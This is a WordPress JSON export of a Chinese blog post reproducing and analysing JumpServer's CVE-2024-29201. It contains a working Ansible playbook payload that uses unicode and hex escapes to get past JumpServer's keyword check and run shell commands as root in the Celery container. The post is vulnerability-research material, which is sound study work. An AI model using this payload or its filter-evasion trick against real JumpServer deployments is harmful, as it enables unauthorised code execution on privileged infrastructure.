{"id":727,"date":"2024-05-04T08:19:22","date_gmt":"2024-05-04T08:19:22","guid":{"rendered":"http:\/\/www.nokws.top\/?p=727"},"modified":"2024-05-04T08:37:47","modified_gmt":"2024-05-04T08:37:47","slug":"jumpserver-loudongfuxian-cve-2024-29201","status":"publish","type":"post","link":"http:\/\/www.nokws.top\/index.php\/2024\/05\/04\/jumpserver-loudongfuxian-cve-2024-29201\/","title":{"rendered":"JumpServer \u6f0f\u6d1e\u590d\u73b0\u00a0\uff08CVE-2024-29201\uff09"},"content":{"rendered":"\n

0x01 \u7b80\u4ecb<\/h3>\n\n\n\n

JumpServer \u662f\u5e7f\u53d7\u6b22\u8fce\u7684\u5f00\u6e90\u5821\u5792\u673a\u3002<\/p>\n\n\n\n

0x02 \u6f0f\u6d1e\u6982\u8ff0<\/h3>\n\n\n\n

JumpServer 3.0\u7248\u672c\u5f00\u59cb\u5f15\u5165\u6279\u91cf\u4e0b\u53d1\u4f5c\u4e1a\u529f\u80fd\uff0c\u5728\u51763.10.7\u4e4b\u524d\u7248\u672c\u4e2d\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u6784\u5efa\u6076\u610f playbook \u6a21\u677f\u7ed5\u8fc7Ansible\u4e2d\u7684\u8f93\u5165\u9a8c\u8bc1\u673a\u5236\u4ece\u800c\u5728 Celery \u5bb9\u5668\u4e2d\u4ee5root\u6743\u9650\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n\n\n\n

\u5728\u4fee\u590d\u7248\u672c\u4e2d\uff0c\u901a\u8fc7\u79fb\u9664job-execution\u63a5\u53e3\u76f8\u5173\u4ee3\u7801\u4ee5\u4fee\u590d\u6f0f\u6d1e\u3002<\/p>\n\n\n\n

0x03 \u6f0f\u6d1e\u590d\u73b0<\/h3>\n\n\n\n

1\u3001\u6839\u636e\u5b98\u65b9\u6587\u6863\u5b89\u88c5\u73af\u5883\uff0c\u6ce8\u610f\u8f6f\u4ef6\u7248\u672c\u3002\u5feb\u901f\u5165\u95e8 – JumpServer \u6587\u6863<\/a><\/p>\n\n\n\n

2\u3001 \u767b\u5f55admin\u7528\u6237–\u8d44\u4ea7\u7ba1\u7406–\u8d44\u4ea7\u5217\u8868–\u65b0\u589e\u8d44\u4ea7\"\"<\/p>\n\n\n\n

3\u3001\u8d26\u53f7\u7ba1\u7406–\u8d26\u53f7\u5217\u8868–\u6dfb\u52a0<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

4\u3001\u521b\u5efa\u5b8c\u8d26\u53f7\u540e\u6d4b\u8bd5<\/p>\n\n\n\n

\u521b\u5efa\u8d26\u6237<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6d4b\u8bd5\u8d26\u6237<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

5\u3001\u521b\u5efa\u8d44\u4ea7\"\"<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u6d4b\u8bd5\u8d44\u4ea7\u8fde\u63a5<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

6\u3001\u521b\u5efa\u4e00\u4e2a\u8d26\u53f7\u5e76\u6388\u6743\u8d44\u4ea7\"\"<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

7\u3001\u767b\u5f55test\u8d26\u6237\uff0c\u4f5c\u4e1a\u4e2d\u5fc3–\u6a21\u677f\u7ba1\u7406–playbook\u7ba1\u7406–\u5de5\u4f5c\u7a7a\u95f4<\/p>\n\n\n\n

\u65b0\u5efa\u4f5c\u4e1a\uff08\u56fe\u4e2d\u662f\u65b0\u5efa\u5b8c\u6210\u7684\uff09<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5728\u4f5c\u4e1a\u7a7a\u95f4\u4e2d\u8f93\u5165payload<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
[{  \n     \"name\": \"RCE playbook\",  \n     \"hosts\": \"all\",  \n     \"tasks\": [  \n       {  \n         \"name\": \"this runs in Celery container\",  \n         \"shell\": \"id > \/tmp\/pwnd\",  \n         \"\\u0064elegate_to\": \"localhost\"  \n} ],  \n     \"vars\": {  \n     \"ansible_\\u0063onnection\": \"local\"  \n     }  \n}]<\/code><\/code><\/pre>\n\n\n\n
8\u3001\u4f5c\u4e1a\u7ba1\u7406-\u8fd0\u884c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
9\u3001\u67e5\u770b\u6587\u4ef6<\/p>\n\n\n\n
\u8d44\u4ea7\u4e2d\u67e5\u770b\uff08\u4e0a\u6587\u7684192.168.110.250\uff09<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
docker\u4e2d\u67e5\u770b\uff08celery\u4e2d\uff09<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
0x04 \u6f0f\u6d1e\u5206\u6790<\/h3>\n\n\n\n
\u6bd4\u5bf9\u4ee3\u7801<\/p>\n\n\n\n
apps\/assets\/automations\/base\/manager.py<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u67e5\u770bSuperPlaybookRunner<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u65b0\u589e\u7684\u5b50\u7c7b\uff0c\u5c06\u4e00\u4e2a\u5b9e\u4f8b\u53d8\u91cfself.envs<\/code>\u8bbe\u7f6e\u4e3a\u4e00\u4e2a\u5b57{\"LOCAL_CONNECTION_ENABLED\": \"1\"}<\/code><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u518d\u53bbrunner\u53d8\u91cf\u6240\u5728\u7684\u51fd\u6570get_runners\u6240\u5728\u7684\u7c7bBasePlaybookManager\u7684\u5e94\u7528\u3002<\/p>\n\n\n\n
\u6839\u636e\u540d\u5b57\u770b\u7b2c\u4e00\u4e2a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770bGatherAccountsManager\uff0c\u662f\u4e00\u4e2a\u7ee7\u627f\u7684\u5b50\u7c7b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770bExecutionManager\uff0c\u5c06\u591a\u4e2a\u7c7b\u81ea\u52a8\u5206\u914d<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6839\u636e\u540d\u5b57\u518d\u770bapps\/assets\/models\/automations\/base.py<\/p>\n\n\n\n
\u8fd9\u91cc\u770b\u4e86\u5f88\u4e45\uff0c\u611f\u89c9\u5e76\u4e0d\u662f\u6f0f\u6d1e\u6ce8\u5165\u7684\u5730\u65b9\uff0c\u597d\u50cf\u662f\u8d26\u6237\u7ba1\u7406\u76f8\u5173\u7684\u3002\u3002\u5148\u653e\u4e00\u4e0b\u627e\u5176\u4ed6\u7684\u3002<\/p>\n\n\n\n
=========================<\/p>\n\n\n\n
apps\/ops\/ansible\/runner.py\uff0c\u67e5\u770b\u53e6\u4e00\u4e2a\u4fee\u6539\u7684\u5730\u65b9<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fdb\u4e00\u6b65\u641c\u7d22\u540e\uff0c\u5728job.py\u4e2d\u53d1\u73b0\u4e86PlaybookRunner\u5b9e\u4f8b\u7684\u521b\u5efa\uff0c\u67e5\u770bapps\/ops\/api\/job.py\uff0c\"\"<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u67e5\u770b\u7c7b\u7684\u4f7f\u7528<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5230\u8fd9\u91cc\u5c31\u786e\u8ba4\u4e86\u6f0f\u6d1e\u7684\u6ce8\u5165\u70b9<\/p>\n\n\n\n
\uff08\u5176\u5b9e\u5f04\u5b8c\u4e86\u53cd\u5e94\u8fc7\u6765\uff0c\u6839\u636e\u60c5\u62a5\u53bb\u5199poc\u7684\u8bdd\uff0c\u53ef\u4ee5\u76f4\u63a5\u5728\u7cfb\u7edf\u91cc\u627eplaybook\u7684\u3002\u3002\u3002\uff09<\/p>\n\n\n\n
\u60f3\u60f3\u600e\u4e48\u6784\u5efapayload\u7684<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u786e\u8ba4PlaybookRunner\u5728get_runner\u4e2d\u8c03\u7528<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6ce8\u610fbefore_start()<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5229\u7528\u5173\u952e\u5b57\u5bf9\u8f93\u5165\u7684\u6570\u636e\u8fdb\u884c\u6821\u9a8c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5177\u4f53\u7684\u6821\u9a8c\u5173\u952e\u5b57<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
====<\/p>\n\n\n\n
\u7531\u6b64\uff0c\u7ed3\u5408\u5bf9playbook\u7684\u4e86\u89e3\uff0c\u4f7f\u7528ascii\u4e5f\u5e94\u8be5\u53ef\u4ee5<\/p>\n\n\n\n
[{  \n     \"name\": \"RCE playbook\",  \n     \"hosts\": \"all\",  \n     \"tasks\": [  \n       {  \n         \"name\": \"this runs in Celery container\",  \n         \"shell\": \"id > \/tmp\/pwnd\",  \n         \"\\u0064elegate_to\": \"localhost\"  \n} ],  \n     \"vars\": {  \n     \"ansible_\\x63onnection\": \"local\"  \n     }  \n}]<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
0x05\u603b\u7ed3<\/h3>\n\n\n\n
\u6f0f\u6d1e\u7684\u539f\u56e0\uff1a<\/p>\n\n\n\n
1\u3001jumpserver\u5728\u6267\u884c\u547d\u4ee4\u7684\u53ef\u4ee5\u6267\u884c localhost\u7684\u547d\u4ee4\uff0c\u8fd9\u4e00\u70b9\u5728\u540e\u7eed\u4fee\u590d\u6f0f\u6d1e\u4e2d\u901a\u8fc7\u91cd\u65b0\u5f15\u5165\u4e00\u4e2aenv\u8fdb\u884c\u6821\u9a8c<\/p>\n\n\n\n
2\u3001\u8f93\u5165\u6ca1\u6709\u505a\u8db3\u591f\u7684\u6821\u9a8c<\/p>\n\n\n\n
0x06\u6f0f\u6d1e\u4fee\u590d<\/h3>\n\n\n\n
\u5347\u7ea7\u7248\u672c<\/p>\n\n\n\n
0x07\u53c2\u8003\u94fe\u63a5<\/h3>\n\n\n\n
JumpServer \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c CVE-2024-29201&&CVE-2024-29202 \u6f0f\u6d1e\u5206\u6790 – \u5148\u77e5\u793e\u533a (aliyun.com)<\/a><\/p>\n\n\n\n
https:\/\/wh0am1i.com\/2024\/03\/30\/JumpServer-CVE-2024-29201-CVE-2024-29202<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
0x01 \u7b80\u4ecb JumpServer \u662f\u5e7f\u53d7\u6b22\u8fce\u7684\u5f00\u6e90\u5821\u5792\u673a\u3002 0x02 \u6f0f\u6d1e\u6982\u8ff0 JumpServer 3. […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-727","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/727","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/comments?post=727"}],"version-history":[{"count":4,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/727\/revisions"}],"predecessor-version":[{"id":778,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/posts\/727\/revisions\/778"}],"wp:attachment":[{"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/media?parent=727"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/categories?post=727"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nokws.top\/index.php\/wp-json\/wp\/v2\/tags?post=727"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}